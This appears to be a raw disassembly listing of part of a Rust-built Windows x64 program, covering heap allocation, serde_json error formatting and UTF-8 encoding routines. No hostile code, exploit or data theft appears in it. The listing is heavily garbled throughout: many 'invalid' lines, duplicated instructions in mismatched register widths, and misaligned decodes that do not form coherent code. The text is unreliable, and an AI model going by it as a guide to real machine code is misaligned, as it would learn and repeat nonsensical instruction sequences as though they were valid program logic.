mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
add byte [rax - 0x7b], cl
leave
test rcx, rcx
jne 0x1400743c5
call qword [sym.imp.kernel32.dll_GetProcessHeap]
pop rsi
rol byte [rbx], 0
test rax, rax
je 0x140074475
test dl, bl
add byte [rax], al
invalid
test dl, bl
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
push rbx
or byte [rax], r8b
jmp 0x1400743c5
invalid
invalid
rol byte [rbx], 0
mov esi, 1
add dword [rax], eax
add byte [rax], al
add byte [rsi + 1], bh
add dword [rax], eax
add byte [rax], al
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
test rcx, rcx
leave
leave
je 0x14007438c
mov r8d, 0x28
mov eax, 0x28
add byte [rax], al
add byte [rcx], dh
sar bh, cl
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
adc eax, 0x3c025
adc eax, 0x3c025
test rax, rax
je 0x140074475
xor ecx, ecx
test bpl, bpl
cmovne r12, rcx
cmovne esp, ecx
cmovne esp, ecx
cmovne r15, rcx
cmovne edi, ecx
mov qword [rax], 0
mov dword [rax], 0
add byte [rax], al
add byte [rax], al
mov qword [rax + 8], rsi
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], r15
js 0x140074414
js 0x140074414
mov qword [rax + 0x20], r12
add rsp, 0xb8
invalid
mov eax, 0x5b000000
add byte [rbx + 0x5d], bl
invalid
invalid
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r12, qword [rsp + 0x58]
and al, 0x58
cmp r13, r14
cmp ebp, esi
mov rcx, qword [rsp + 0x38]
and al, 0x38
jae 0x14007442a
invalid
xor ebp, ebp
jmp 0x140074348
test r14, r14
je 0x140074444
jbe 0x140074444
mov rax, qword [rsp + 0x30]
and al, 0x30
cmp byte [rax + r14], 0xbf
cmp byte [rax + rsi], 0xbf
jle 0x1400744d6
mov qword [rcx + 0x10], r14
xor ebp, ebp
mov r13, r14
jmp 0x140074348
idiv dh
invalid
invalid
idiv dh
invalid
lea rcx, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
xor al, byte [rdi]
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x20], ecx
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
mov r8, rax
ror byte [rcx - 0x77], 0xd1
ror byte [rcx - 0x77], 0xd1
call fcn.1400aa670
ud2
add byte [rdi], cl
or edi, dword [rcx + 8]
or byte [rax], al
add byte [rax], al
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x28
call fcn.1400a9e00
ud2
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
xor al, byte [rdi]
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
mov r8, r12
mov r9, rdx
call fcn.1400aa670
ud2
add byte [rdi], cl
or edi, dword [rcx + 1]
add dword [rax], eax
add byte [rax], al
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov rdx, r13
call fcn.1400a9e00
ud2
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcerror.rsEOF_while_parsing_a_listEOF_while_parsing_an_objectEOF_while_parsing_a_stringEOF_while_parsing_a_valueexpected__:_expected_____or____expected_____or___expected_identexpected_valueexpected____invalid_escapeinvalid_numbernumber_out_of_rangeinvalid_unicode_code_pointcontrol_character__u0000_u001F__found_while_parsing_a_stringkey_must_be_a_stringinvalid_value:_expected_key_to_be_a_number_in_quotesfloat_key_must_be_finite__got_NaN_or___inf_lone_leading_surrogate_in_hex_escapetrailing_commatrailing_charactersunexpected_end_of_hex_escaperecursion_limit_exceeded_at_line__column
mov qword [rsp + 0x20], rax
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov rcx, qword [rsp + 0x30]
and al, 0x30
mov rdx, r13
mov edx, ebp
mov r8, r11
call fcn.1400aa670
ud2
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len__rustc_82e1608dfa6e0b5569232559e3d385fea5a93112library_alloc_src_string.rs
or eax, 0x741eb
invalid
lea r8, [0x1400e8748]
mov edx, 0x30
add byte [rax], al
add al, ch
mov dl, 0x5b
add eax, dword [rax]
invalid
add byte [rax], al
add al, ch
mov dl, 0x5b
add eax, dword [rax]
ud2
rol byte [rax], 0
add byte [rax - 0x77], cl
mov rsi, rdx
mov edi, dword [rcx]
mov qword [rsp + 0x50], 1
and al, 0x50
add dword [rax], eax
add byte [rax], al
and al, 0x50
add dword [rax], eax
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0xb0], 0x20
mov dword [rsp + 0xb0], 0x20
mov dword [rsp + 0xb0], 0x20
and al, 0xb0
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rbx], al
mov byte [rsp + 0xb8], 3
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x90], 0
mov dword [rsp + 0x90], 0
and al, 0x90
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test byte [rax + rdx*4], ah
and al, 0x90
and al, 0x90
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
mov qword [rsp + 0xa0], rax
add byte [rax], al
lea rax, [0x1400e67a0]
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0xa8], eax
mov dword [rsp + 0xa8], eax
lea rbx, [rsp + 0x80]
mov rcx, rdi
mov rdx, rbx
invalid
call fcn.140074720
mov ah, 1
add byte [rax], al
invalid
mov ah, 1
add byte [rax], al
test al, al
jne 0x14007463c
add byte [rdi], cl
adc byte [rsp + 0x50], al
push rax
movups xmm0, xmmword [rsp + 0x50]
push rax
movaps xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0x60]
invalid
invalid
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
lea rax, [rdi + 0x18]
add rdi, 0x20
lea rcx, [rsp + 0x30]
and al, 0x30
sbb byte [r8 - 0x7d], r9b
invalid
and al, 0x30
mov qword [rsp + 0x80], rcx
lea rcx, [0x1400402e0]
lea ecx, [0x1400402e0]
lea ecx, [0x1400402e0]
mov qword [rsp + 0x88], rcx
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xfffcd0d5
sar ah, 1
invalid
mov byte [rax], al
add byte [rax], al
mov qword [rsp + 0x90], rax
lea rax, [fcn.140041690]
sar ah, 1
invalid
sar ah, 1
dec dword [rax - 0x77]
test byte [rax + rbx*4], ah
and al, 0x98
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa0], edi
and al, 0x98
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0xa0], edi
invalid
invalid
test byte [rax + rbp*4], ah
mov dword [rsp + 0xa0], edi
mov qword [rsp + 0xa8], rax
lea rax, str.Error___line:___column:__bv
xor byte [rdi], r8b
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x73046
xor byte [rdi], r8b
invalid
xor byte [rdi], r8b
add byte [rax - 0x77], cl
and al, 0x50
invalid
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 4
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x60], rbx
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x68], 3
and al, 0x68
add eax, dword [rax]
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
lea r8, [rsp + 0x50]
and al, 0x50
and al, 0x50
call fcn.140042240
mov ebx, eax
cmp qword [rsp + 0x38], 0
cmp dword [rsp + 0x38], 0
cmp dword [rsp + 0x38], 0
je 0x14007462f
mov r8, qword [rsp + 0x30]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, ebx
add rsp, 0xc0
pop rbx
pop rdi
pop rsi
ret
lea rax, [0x1400e6808]
mov qword [rsp + 0x20], rax
and al, 0x20
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly
lea r9, [0x1400e6880]
lea r8, [rsp + 0x30]
mov edx, 0x37
call fcn.1400aa430
ud2
int3
add byte [rax], al
add byte [rax - 0x75], cl
or dword [rax - 0x7d], ecx
jns 0x140074696
add byte [rdi], cl
test byte [rax + 0x48000000], al
lea eax, [rcx + 0x18]
mov qword [rsp + 0x28], rcx
add rcx, 0x20
lea r8, [fcn.140074720]
mov qword [rsp + 0x30], r8
and al, 0x30
add byte [rax], al
add byte [rcx + rcx*4 + 0x44], cl
and al, 0x30
mov qword [rsp + 0x38], rax
lea rax, [fcn.140041690]
add eax, 0xfffccfe6
add eax, 0xfffccfe6
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x48], ecx
mov qword [rsp + 0x50], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x58], rax
and al, 0x58
and al, 0x58
pop rax
mov qword [rsp + 0x60], 3
mov qword [rsp + 0x78], 0
and al, 0x78
add byte [rax], al
add byte [rax], al
and al, 0x78
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x28]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 3
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x58
push rdx
sub byte [rbp + rcx*4 + 0x44], cl
and al, 0x58
call fcn.140042240
nop
add rsp, 0x88
mov byte [rax], al
add byte [rax], al
invalid
ret
add byte [rax], al
jmp fcn.140074720
int3
mov rax, qword [rcx]
lea r8, [0x1400efe30]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov rax, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
mov eax, dword [rcx + 0x10]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov ecx, dword [rdx + 0x18]
mov rdx, rax
mov edx, eax
jmp r9
add rcx, 8
jmp 0x140080d00
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
sbb byte [rax - 0x73], cl
adc eax, 0x72c29
lea rdx, [0x1400e7392]
mov r8d, 0x18
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1400e73aa]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
invalid
lea edx, [0x1400e73aa]
adc eax, 0x72c25
sub al, 7
add byte [rcx - 0x48], al
sbb eax, dword [rax]
add byte [rax], al
mov r8d, 0x1b
jmp rax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e73c5]
adc eax, 0x72c24
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72c24
invalid
mov r8d, 0x1a
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e73df]
mov r8d, 0x19
sbb dword [rax], eax
add byte [rax], al
sbb dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 1], cl
loopne 0x14007480f
invalid
jmp rax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
invalid
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e73f8]
adc eax, 0x72c1f
add byte [rcx - 0x48], al
or al, 0
add byte [rax], al
invalid
mov r8d, 0xc
add byte [rax], al
add byte [rax - 1], cl
jmp rax
invalid
jmp rax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x72c0f
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72c0f
mov r8d, 0x13
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x72c06
sbb byte [rax - 0x73], cl
adc eax, 0x72c06
invalid
mov r8d, 0x13
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x72bfd
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72bfd
invalid
invalid
add byte [rcx - 0x48], al
invalid
mov r8d, 0xe
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72bef
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72bef
invalid
add byte [rcx - 0x48], al
invalid
mov r8d, 0xe
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e7446]
mov r8d, 0xc
add byte [rcx - 0x48], al
or al, 0
add byte [rax], al
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e7452]
adc eax, 0x72bd1
adc eax, 0x72bd1
mov r8d, 0xe
mov eax, 0xe
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e7460]
adc eax, 0x72bc3
adc eax, 0x72bc3
sub eax, dword [rdi]
add byte [rcx - 0x48], al
invalid
mov r8d, 0xe
add byte [rax], al
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72bb5
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72bb5
mov r8d, 0x13
jmp rax
add byte [rax], al
add byte [rax - 1], cl
loopne case.0x14002f576.509
invalid
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x72bac
sub eax, dword [rdi]
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72bac
sub eax, dword [rdi]
invalid
sub eax, dword [rdi]
add byte [rcx - 0x48], al
sbb al, byte [rax]
add byte [rax], al
invalid
mov r8d, 0x1a
add byte [rax], al
add byte [rax - 1], cl
loopne 0x140074927
invalid
jmp rax
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e749b]
adc eax, 0x72baa
adc eax, 0x72baa
mov r8d, 0x3e
jmp rax
add byte [rax], al
add byte [rax - 1], cl
loopne 0x140074943
invalid
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72bcc
invalid
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e74d9]
invalid
invalid
invalid
mov r8d, 0x14
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e74ed]
invalid
sbb byte [rax - 0x73], cl
adc eax, 0x72bc4
invalid
invalid
add byte [rcx - 0x48], al
mov r8d, 0x34
xor al, 0
add byte [rax], al
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x72bdc
invalid
sbb byte [rax - 0x73], cl
adc eax, 0x72bdc
invalid
invalid
add byte [rcx - 0x48], al
mov r8d, 0x2c
sub al, 0
add byte [rax], al
jmp rax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
lea rdx, [0x1400e754d]
mov r8d, 0x24
sub eax, dword [rdi]
add byte [rcx - 0x48], al
and al, 0
add byte [rax], al
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72bf4
invalid
lea rdx, [0x1400e7571]
add byte [rcx - 0x48], al
invalid
mov r8d, 0xe
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72be6
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72be6
invalid
add byte [rcx - 0x48], al
mov r8d, 0x13
adc eax, dword [rax]
add byte [rax], al
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e7592]
adc eax, 0x72bdd
mov r8d, 0x1c
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x1400e75ae]
adc eax, 0x72bdd
adc eax, 0x72bdd
mov r8d, 0x18
mov eax, 0x18
sbb byte [rax], al
add byte [rax], al
invalid
add byte [rax - 1], cl
loopne 0x1400749a7
jmp rax
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
mov edi, ecx
invalid
mov edi, ecx
mov rax, qword [rcx + 8]
mov r14, qword [rcx + 0x10]
jno 0x140074a0a
sub rax, r14
invalid
cmp rax, r8
cmp eax, eax
invalid
cmp eax, eax
jb 0x140074a26
mov rcx, qword [rdi]
add rcx, r14
cmovl eax, dword [rcx]
int1
mov rdx, rbx
mov r8, rsi
mov eax, esi
mov eax, esi
call sub.VCRUNTIME140.dll_memcpy
add r14, rsi
add esi, esi
sbb al, 3
add byte [rcx + 1], cl
add esi, esi
mov qword [rdi + 0x10], r14
add esi, esi
mov qword [rdi + 0x10], r14
ja 0x140074a2a
xor eax, eax
add rsp, 0x28
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rcx, rdi
stc
mov rdx, r14
mov edx, esi
mov r8, rsi
call fcn.1400ac520
in al, dx
jp 0x140074a36
add byte [rbx + rcx*4 + 0x77], cl
adc bl, ch
jmp 0x140074a02
invalid
in al, dx
jp 0x140074a36
add byte [rbx + rcx*4 + 0x77], cl
adc bl, ch
invalid
ja case.0x1400503f2.329
enter 0xffffffffffffcccc, 0xffffffffffffffcc
int3
int3
xlatb
mov rsi, rcx
cmp edx, 0x80
add byte [rax], al
jae 0x140074a7d
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
jne 0x140074a6a
push rsi
or byte [rbp + 0xc], dh
mov rcx, rsi
int1
int1
call fcn.140074b70
mov rdx, qword [rsi + 0x10]
mov rax, qword [rsi]
invalid
mov byte [rax + rdx], dil
adc byte [rax - 1], cl
ret 0x8948
push rsi
adc cl, ch
ret 0
invalid
invalid
adc byte [rax - 1], cl
ret 0x8948
push rsi
adc cl, ch
ret 0
add bh, al
and al, 0x2c
add byte [rax], al
mov dword [rsp + 0x2c], 0
add byte [rax], al
mov eax, edi
cmp edi, 0x800
inc dword [rax]
or byte [rax], al
add byte [rbx + 0x1d], dh
invalid
inc dword [rax]
or byte [rax], al
add byte [rbx + 0x1d], dh
invalid
shr eax, 6
or al, 0xc0
invalid
call 0xc8c7569b
and al, 0x2c
ror byte [rax + 0x402c2444], 0x80
out 0x3f, eax
mov byte [rsp + 0x2c], al
and dil, 0x3f
or dil, 0x80
mov byte [rsp + 0x2d], dil
and al, 0x2d
mov edi, 2
add al, byte [rax]
add byte [rax], al
jmp 0x140074b15
cmp edi, 0x10000
add dword [rax], eax
jae 0x140074ade
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x2c], al
and al, 0x2c
and al, 0x2c
sub al, 0x89
clc
mov eax, edi
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
and al, 0x2d
and dil, 0x3f
out 0x3f, eax
or dil, 0x80
mov byte [rsp + 0x2e], dil
jl case.0x14002f576.524
mov edi, 3
jl case.0x14002f576.524
mov edi, 3
add eax, dword [rax]
add byte [rax], al
jmp 0x140074b15
shr eax, 0x12
and al, 7
adc ah, byte [rdi + rax]
or al, 0xf0
mov byte [rsp + 0x2c], al
sub al, 0x89
clc
sub al, 0x89
clc
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x2d], al
mov eax, edi
shr eax, 6
invalid
and al, 0x3f
invalid
or al, 0x80
mov byte [rsp + 0x2e], al
and dil, 0x3f
or dil, 0x80
or bh, 0x80
mov byte [rsp + 0x2f], dil
invalid
invalid
mov edi, 4
mov rax, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
sub rax, rbx
or byte [rax - 0x75], cl
pop rsi
adc byte [rax + 0x29], cl
fmul dword [rax + 0x39]
cmp rax, rdi
cmp rax, rdi
jb 0x140074b49
mov rcx, qword [rsi]
mov ecx, dword [rsi]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add eax, dword [rax]
add eax, dword [rax]
add byte [rax + 1], cl
sti
add rbx, rdi
mov qword [rsi + 0x10], rbx
mov dword [rsi + 0x10], ebx
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov rcx, rsi
mov ecx, esi
mov rdx, rbx
mov r8, rdi
call fcn.1400ac520
mov rbx, qword [rsi + 0x10]
jmp 0x140074b25
invalid
sub esp, 0x58
inc rdx
inc edx
ret 0x840f
je case.0x1400283bc.781
add byte [rax], al
mov rsi, rcx
mov rax, qword [rcx + 8]
or byte [rax - 0x73], cl
or al, 0
lea rcx, [rax + rax]
lea ecx, [rax + rax]
cmp rcx, rdx
cmova rdx, rcx
cmp rdx, 9
mov edi, 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax + 0xf], cl
cli
add byte [rax], al
cmovae rdi, rdx
mov rdx, rdi
cli
not rdx
shr rdx, 0x3f
shr edx, 0x3f
shr edx, 0x3f
test rax, rax
je 0x140074bc5
mov rcx, qword [rsi]
mov ecx, dword [rsi]
mov qword [rsp + 0x28], rcx
sub byte [rax - 0x39], cl
and al, 0x30
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], rax
jmp 0x140074bce
mov qword [rsp + 0x30], 0
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
lea r9, [rsp + 0x28]
lea r9, [rsp + 0x28]
mov r8, rdi
call fcn.140063060
and ah, 0xfe
dec dword [rax - 0x7d]
jl case.0x140068b4c.437
and al, 0x40
add byte [rax - 0x75], cl
and al, 0x48
and ah, 0xfe
dec dword [rax - 0x7d]
jl case.0x140068b4c.437
invalid
and al, 0x40
add byte [rax - 0x75], cl
and al, 0x48
je case.0x140068b4c.437
movabs rax, 0x8000000000000001
cmp rcx, rax
cmp ecx, eax
add byte [rax], al
add byte [rax + 0x74c13948], al
cmp ecx, eax
je 0x140074c0f
test rcx, rcx
cmp ecx, eax
je 0x140074c0f
test rcx, rcx
jne 0x140074c16
call fcn.1400402a0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
add rsp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
call fcn.1400a9e00
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, esp
int3
int3
push rsi
sub rsp, 0x20
mov rax, qword [rcx + 0x40]
test rax, rax
test rax, rax
je 0x140074d16
test ah, dl
add byte [rax], al
add byte [rax - 1], cl
enter 0xffffffffffff8948, 0x41
mov rdx, qword [rcx]
dec rax
mov qword [rcx + 0x40], rax
mov rdx, qword [rcx]
mov rax, qword [rcx + 8]
test rdx, rdx
je case.0x14002f576.553
test rax, rax
jne case.0x14002f576.553
ror byte [rdi], 0x85
mov esp, 0x48000000
lea rdx, [rcx + 0x10]
lea rdx, [rcx + 0x10]
mov rax, qword [rcx + 0x10]
mov r8, qword [rcx + 0x18]
mov eax, dword [rcx + 0x18]
adc byte [r11 + rcx*4 + 0x41], cl
sbb byte [rbp - 0x7b], cl
mov eax, dword [rcx + 0x18]
sbb byte [r13 - 0x7b], cl
test r8, r8
je 0x140074cee
invalid
sal byte [rbx + rdi*2 + 0x4d], 0x89
ror dword [rcx - 0x7d], 0xe1
and ecx, 7
jnp case.0x1400283bc.789
mov r9, r8
mov ecx, eax
and r9, 7
and ecx, 7
loope 0x140074c81
je 0x140074e29
test byte [rcx + 0x45000001], ch
test eax, 0x45000001
add dword [rax], eax
add byte [rbp + 0x31], al
shl byte [rsi + 0x66], cl
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
xor r10d, r10d
xor edx, edx
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov rax, qword [rax + 0x278]
inc r10
inc edx
cmp r9, r10
jne 0x140074c90
mov r9, r8
sub r9, r10
cmp r8, 8
clc
invalid
clc
or byte [rdx + 0x43], dh
jb 0x140074cee
nop dword [rax + rax]
invalid
jb 0x140074cee
add byte [rax - 0x75], cl
mov rax, qword [rax + 0x278]
cmp byte [rax + 2], 0
add byte [rax - 0x75], cl
cmp byte [rax + 2], 0
add byte [rax - 0x75], cl
mov rax, qword [rax + 0x278]
mov eax, dword [rax + 0x278]
mov rax, qword [rax + 0x278]
cmp byte [rax + 2], 0
js 0x140074cc5
add al, byte [rax]
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rax + 0x278]
cmp byte [rax + 2], 0
add byte [rax - 0x75], cl
cmp byte [rax + 2], 0
add byte [rax - 0x75], cl
cmp byte [rax + 2], 0
add byte [rax - 0x75], cl
js 0x140074ccc
add byte [rax], al
mov rax, qword [rax + 0x278]
mov rax, qword [rax + 0x278]
mov rax, qword [rax + 0x278]
cmp byte [rax + 2], 0
add byte [rax - 0x75], cl
cmp byte [rax + 2], 0
invalid
cmp byte [rax + 2], 0
add byte [rax - 0x75], cl
cmp byte [rax + 2], 0
add byte [rcx - 0x7d], cl
sar eax, 0x75
js 0x140074ce8
add byte [rax], al
add r9, 0xfffffffffffffff8
jne 0x140074cb0
invalid
ret 0x570f
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rcx], 1
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
mov dword [rcx + 8], eax
or byte [r9], sil
rol byte [rbp + 0x31], cl
leave
xor edx, edx
xor r9d, r9d
movzx r8d, word [rax + 0x272]
movzx eax, word [rax + 0x272]
mov bh, 0x80
